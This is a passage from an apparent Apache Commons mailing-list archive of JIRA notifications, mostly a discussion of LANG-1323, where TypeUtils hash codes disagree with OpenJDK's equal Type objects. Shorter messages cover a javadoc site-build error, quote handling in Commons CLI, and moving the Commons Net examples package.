org.apache.commons.lang3.reflect.TypeUtils.ParameterizedTypeImpl
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
// These two objects are equal...
Assert.assertTrue(openJdkType.equals(apacheType));
Assert.assertTrue(apacheType.equals(openJdkType));
// ... but their hash codes are not the same
Assert.assertFalse(openJdkType.hashCode() == apacheType.hashCode());
}
{code}
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}}
[jira] [Commented] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979471#comment-15979471
]
Scott Kilpatrick commented on LANG-1323:
The Guava stuff was just an _additional example_ of a sneaky manifestation of
the bug; it's not crucial to the bug. Sorry to have included more than
necessary in that example.
For posterity, here's the example demonstrating the broken contract, without
the additional broken use case:
{code:java}
static class OneField {
Map f;
}
@Test
public void testOfBrokenContract() throws NoSuchFieldException
{
// An object of class
sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
// An object of class
org.apache.commons.lang3.reflect.TypeUtils.ParameterizedTypeImpl
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
// These two objects are equal...
Assert.assertTrue(openJdkType.equals(apacheType));
Assert.assertTrue(apacheType.equals(openJdkType));
// ... but their hash codes are not the same
Assert.assertFalse(openJdkType.hashCode() == apacheType.hashCode());
}
{code}
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of this problem is a collection class
> that implements its equality (to other collections) by checking hash codes of
> its elements, e.g., Guava's immutable collections. If you have {{Type}}
> objects in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}}
> and Sun OpenJDK {{Type}} objects in {{c2}}, you will see that
> {{c1.equals(c2)}} returns {{false}} -- because their elements don't all have
> the same hash codes -- even though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Commented] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979454#comment-15979454
]
Sebb commented on LANG-1323:
bq. the hashCode in TypeUtils is inconsistent with the hashCode in the OpenJDK
and
This is not a requirement
bq. the contract of Object.hashCode requires that their hashCode's be
consistent since their equals are consistent.
Agreed.
But the unit test you provided only shows that the ImmutableSet implementation
of hashCode/equals is broken.
It does not say anything about TypeUtils.
Or if there is a problem with TypeUtils, this needs to be exposed by a unit
test that only uses the LANG classes.
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of this problem is a collection class
> that implements its equality (to other collections) by checking hash codes of
> its elements, e.g., Guava's immutable collections. If you have {{Type}}
> objects in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}}
> and Sun OpenJDK {{Type}} objects in {{c2}}, you will see that
> {{c1.equals(c2)}} returns {{false}} -- because their elements don't all have
> the same hash codes -- even though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Created] (NUMBERS-23) mvn site won't compile due to javascript error
Eric Barnhill created NUMBERS-23: Summary: mvn site won't compile due to javascript error Key: NUMBERS-23 URL: https://issues.apache.org/jira/browse/NUMBERS-23 Project: Commons Numbers Issue Type: Bug Reporter: Eric Barnhill mvn site fails with the following error. This error appears to apply to either the entire commons-numbers site or the commons-numbers-complex subsite Exit code: 1 - javadoc: error - Argument for -header contains JavaScript. Use --allow-script-in-comments to allow use of JavaScript. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979327#comment-15979327
]
Scott Kilpatrick commented on LANG-1323:
[~s...@apache.org]: Right, the contract does not say anything about two objects
that produce equal hash codes. But it does indeed say something about two
objects that are equal, i.e., that they must produce the same hash code. So I'm
not saying that anything in {{TypeUtils}} is inconsistent _within itself_, but
that
# the {{hashCode}} in {{TypeUtils}} is inconsistent with the {{hashCode}} in
the OpenJDK and
# the contract of {{Object.hashCode}} requires that their {{hashCode}}'s be
consistent since their {{equals}} are consistent.
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of this problem is a collection class
> that implements its equality (to other collections) by checking hash codes of
> its elements, e.g., Guava's immutable collections. If you have {{Type}}
> objects in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}}
> and Sun OpenJDK {{Type}} objects in {{c2}}, you will see that
> {{c1.equals(c2)}} returns {{false}} -- because their elements don't all have
> the same hash codes -- even though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Comment Edited] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979111#comment-15979111
]
Scott Kilpatrick edited comment on LANG-1323 at 4/21/17 6:40 PM:
-
Here's an example in JUnit:
{code:java}
static class OneField {
Map f;
}
@Test
public void test() throws NoSuchFieldException
{
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
Assert.assertTrue(openJdkType.equals(apacheType));
Assert.assertTrue(apacheType.equals(openJdkType));
Assert.assertFalse(openJdkType.hashCode() == apacheType.hashCode());
// Example with Guava's ImmutableSet, which for N > 1 uses
// hash code for set equality, and Iterables.elementsEqual.
final Type other = OneField.class;
final ImmutableSet c1 = ImmutableSet.of(openJdkType, other);
final ImmutableSet c2 = ImmutableSet.of(apacheType, other);
Assert.assertFalse(c1.equals(c2));
Assert.assertFalse(c2.equals(c1));
Assert.assertTrue(c1.size() == c2.size());
Assert.assertTrue(Iterables.elementsEqual(c1, c2));
}
{code}
Is this not a violation of the contract on {{Object.hashCode()}} that I quoted
above? Here are two objects that are equal according to the {{equals(Object)}}
method, but calling the {{hashCode}} method on each of the two objects produces
different integer results.
was (Author: skilpat):
Here's an example in JUnit:
{code:java}
static class OneField {
Map f;
}
@Test
public void test() throws NoSuchFieldException
{
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
Assert.assertTrue(openJdkType.equals(apacheType));
Assert.assertTrue(apacheType.equals(openJdkType));
Assert.assertFalse(openJdkType.hashCode() == apacheType.hashCode());
// Example with Guava's ImmutableSet and Iterables, which for N > 1 uses
// hash code for set equality.
final Type other = OneField.class;
final ImmutableSet c1 = ImmutableSet.of(openJdkType, other);
final ImmutableSet c2 = ImmutableSet.of(apacheType, other);
Assert.assertFalse(c1.equals(c2));
Assert.assertFalse(c2.equals(c1));
Assert.assertTrue(c1.size() == c2.size());
Assert.assertTrue(Iterables.elementsEqual(c1, c2));
}
{code}
Is this not a violation of the contract on {{Object.hashCode()}} that I quoted
above? Here are two objects that are equal according to the {{equals(Object)}}
method, but calling the {{hashCode}} method on each of the two objects produces
different integer results.
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a
[jira] [Comment Edited] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979111#comment-15979111
]
Scott Kilpatrick edited comment on LANG-1323 at 4/21/17 6:30 PM:
-
Here's an example in JUnit:
{code:java}
static class OneField {
Map f;
}
@Test
public void test() throws NoSuchFieldException
{
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
Assert.assertTrue(openJdkType.equals(apacheType));
Assert.assertTrue(apacheType.equals(openJdkType));
Assert.assertFalse(openJdkType.hashCode() == apacheType.hashCode());
// Example with Guava's ImmutableSet and Iterables, which for N > 1 uses
// hash code for set equality.
final Type other = OneField.class;
final ImmutableSet c1 = ImmutableSet.of(openJdkType, other);
final ImmutableSet c2 = ImmutableSet.of(apacheType, other);
Assert.assertFalse(c1.equals(c2));
Assert.assertFalse(c2.equals(c1));
Assert.assertTrue(c1.size() == c2.size());
Assert.assertTrue(Iterables.elementsEqual(c1, c2));
}
{code}
Is this not a violation of the contract on {{Object.hashCode()}} that I quoted
above? Here are two objects that are equal according to the {{equals(Object)}}
method, but calling the {{hashCode}} method on each of the two objects produces
different integer results.
was (Author: skilpat):
Here's an example in JUnit:
{code:java}
static class OneField {
Map f;
}
@Test
public void test() throws NoSuchFieldException {
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
Assert.assertTrue(openJdkType.equals(apacheType) &&
apacheType.equals(openJdkType));
Assert.assertFalse(openJdkType.hashCode() == apacheType.hashCode());
}
{code}
Is this not a violation of the contract on {{Object.hashCode()}} that I quoted
above? Here are two objects that are equal according to the {{equals(Object)}}
method, but calling the {{hashCode}} method on each of the two objects produces
different integer results.
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of
[jira] [Commented] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979111#comment-15979111
]
Scott Kilpatrick commented on LANG-1323:
Here's an example in JUnit:
{code:java}
static class OneField {
Map f;
}
@Test
public void test() throws NoSuchFieldException {
final Type openJdkType =
OneField.class.getDeclaredField("f").getGenericType();
final Type apacheType = TypeUtils.parameterize(Map.class, String.class,
Integer.class);
Assert.assertTrue(openJdkType.equals(apacheType) &&
apacheType.equals(openJdkType));
Assert.assertFalse(openJdkType.hashCode() == apacheType.hashCode());
}
{code}
Is this not a violation of the contract on {{Object.hashCode()}} that I quoted
above? Here are two objects that are equal according to the {{equals(Object)}}
method, but calling the {{hashCode}} method on each of the two objects produces
different integer results.
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of this problem is a collection class
> that implements its equality (to other collections) by checking hash codes of
> its elements, e.g., Guava's immutable collections. If you have {{Type}}
> objects in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}}
> and Sun OpenJDK {{Type}} objects in {{c2}}, you will see that
> {{c1.equals(c2)}} returns {{false}} -- because their elements don't all have
> the same hash codes -- even though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Created] (CLI-275) Cannot get a full quoted argument through
Csaba Skrabak created CLI-275: - Summary: Cannot get a full quoted argument through Key: CLI-275 URL: https://issues.apache.org/jira/browse/CLI-275 Project: Commons CLI Issue Type: Bug Reporter: Csaba Skrabak CLI-185 has been partially fixed but user still cannot pass in an argument like "x" (the whole argument surrounded by one pair of double quotes.) If user enters \"x\" then the quotes get eaten (btw. WHY THE HECK?!). But if user enters \"\"x\"\" then both pairs of quotes are left intact. The idea of removing the quotes is plain wrong, should be either forgotten entirely or the argument should be parsed properly (rather than tinkering from bug to bug with variations of find/substring call constructs) with the possibility to escape and quote quotation marks. Blocks: PHOENIX-3710 -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (LANG-1323) Type implementations in TypeUtils compute hash code that breaks Object.equals() with Sun's OpenJDK
[
https://issues.apache.org/jira/browse/LANG-1323?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=15979077#comment-15979077
]
Sebb commented on LANG-1323:
Are you saying that some of the TypeUtils classes have incompatible equals()
and hashCode() implementations?
If so, then that is clearly a bug. A test case would be useful.
However it is OK to provide a hashCode() implementation that is different from
the 'standard' implementation, so long as it is consistent with the equals()
defintion.
For example, if the hashCode() implementation always returns 42.
It's a terrible hash, but it does not break the hash/equals contract.
There is no requirement for unequal objects to have different hashes.
Indeed any class that assumes that equal hashCodes mean equal Objects is broken.
Object.hashCode() can produce equal hashCodes for unequal objects.
> Type implementations in TypeUtils compute hash code that breaks
> Object.equals() with Sun's OpenJDK
> --
>
> Key: LANG-1323
> URL: https://issues.apache.org/jira/browse/LANG-1323
> Project: Commons Lang
> Issue Type: Bug
> Components: lang.reflect.*
>Affects Versions: 3.2, 3.5
> Environment: Sun OpenJDK
>Reporter: Scott Kilpatrick
>Priority: Minor
>
> {{TypeUtils}} in {{lang.reflect}} provides convenient methods for creating
> objects of the interface {{Type}}. Those objects are defined by the following
> classes:
> * ParameterizedTypeImpl (implements {{ParameterizedType}})
> * WildcardTypeImpl (implements {{WildcardType}})
> * GenericArrayTypeImpl (implements {{GenericArrayType}})
> Similarly, there are corresponding classes, which implement the same
> interfaces, defined in one's particular JDK. And it's these latter classes
> that are instantiated when you get objects of type {{Type}} via reflection.
> Let's call these the "internal {{Type}} implementations." In the case of
> Sun's OpenJDK, [they are
> defined|http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/generics/reflectiveObjects]
> in package {{sun.reflect.generics.reflectiveObjects}}.
> Each of the {{TypeUtils}} classes implements {{Object.equals(Object)}} in a
> general way that's compatible with the internal {{Type}} implementations. For
> example, if I access a field declared with type {{Map}} and
> get its generic type, via {{Field.getGenericType()}}, then that will be equal
> to the {{TypeUtils}} object returned by:
> {code:java}
> TypeUtils.parameterize(Map.class, String.class, Integer.class)
> {code}
> That's what I'd expect, so that's great.
> However, the {{TypeUtils}} classes implement their {{Object.hashCode()}}
> method in a _different_ way from the corresponding implementations in Sun
> OpenJDK implementations. That's not so surprising, _but it breaks the
> contract of {{Object.hashCode()}}_:
> bq. If two objects are equal according to the {{equals(Object)}} method, then
> calling the {{hashCode}} method on each of the two objects must produce the
> same integer result.
> In other words, the two {{Type}} objects above will both consider themselves
> {{equals}} to each other, but they have different hash codes.
> One example of a negative consequence of this problem is a collection class
> that implements its equality (to other collections) by checking hash codes of
> its elements, e.g., Guava's immutable collections. If you have {{Type}}
> objects in those collections, with {{TypeUtils}} {{Type}} objects in {{c1}}
> and Sun OpenJDK {{Type}} objects in {{c2}}, you will see that
> {{c1.equals(c2)}} returns {{false}} -- because their elements don't all have
> the same hash codes -- even though those elements are all considered equal.
--
This message was sent by Atlassian JIRA
(v6.3.15#6346)
[jira] [Updated] (NET-636) examples should be in org.apache.commons.net subpackage
[ https://issues.apache.org/jira/browse/NET-636?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Sebb updated NET-636: - Affects Version/s: 3.6 > examples should be in org.apache.commons.net subpackage > --- > > Key: NET-636 > URL: https://issues.apache.org/jira/browse/NET-636 > Project: Commons Net > Issue Type: Bug >Affects Versions: 3.6 >Reporter: Sebb > Fix For: 3.7 > > > The examples are currently under the top-level 'examples' package. > This was fine when they were only documentation samples, but they are now > working examples which are published (in a separate jar). > The package needs to ge changed to be under org.apache.commons.net. > Given that they are clearly marked as examples, they are not part of the > public API (and are not in the standard binary jar). Thus the change will not > impact compatibility of the component proper. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Resolved] (NET-636) examples should be in org.apache.commons.net subpackage
[ https://issues.apache.org/jira/browse/NET-636?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Sebb resolved NET-636. -- Resolution: Fixed Fix Version/s: 3.7 URL: http://svn.apache.org/viewvc?rev=1792230=rev Log: NET-636 examples should be in org.apache.commons.net subpackage Added: commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/ - copied from r1792229, commons/proper/net/trunk/src/main/java/examples/ commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/package-info.java (with props) commons/proper/net/trunk/src/main/resources/org/ commons/proper/net/trunk/src/main/resources/org/apache/ commons/proper/net/trunk/src/main/resources/org/apache/commons/ commons/proper/net/trunk/src/main/resources/org/apache/commons/net/ commons/proper/net/trunk/src/main/resources/org/apache/commons/net/examples/ - copied from r1792229, commons/proper/net/trunk/src/main/resources/examples/ commons/proper/net/trunk/src/test/java/org/apache/commons/net/examples/ - copied from r1792229, commons/proper/net/trunk/src/test/java/examples/ Removed: commons/proper/net/trunk/src/main/java/examples/ commons/proper/net/trunk/src/main/resources/examples/ commons/proper/net/trunk/src/test/java/examples/ Modified: commons/proper/net/trunk/pom.xml commons/proper/net/trunk/src/assembly/bin.xml commons/proper/net/trunk/src/changes/changes.xml commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/Main.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/cidr/SubnetUtilsExample.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/ftp/FTPClientExample.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/ftp/ServerToServerFTP.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/ftp/TFTPExample.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/IMAPExportMbox.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/IMAPImportMbox.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/IMAPMail.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/IMAPUtils.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/POP3ExportMbox.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/POP3Mail.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/SMTPMail.java commons/proper/net/trunk/src/main/java/org/apache/commons/net/examples/mail/Utils.java 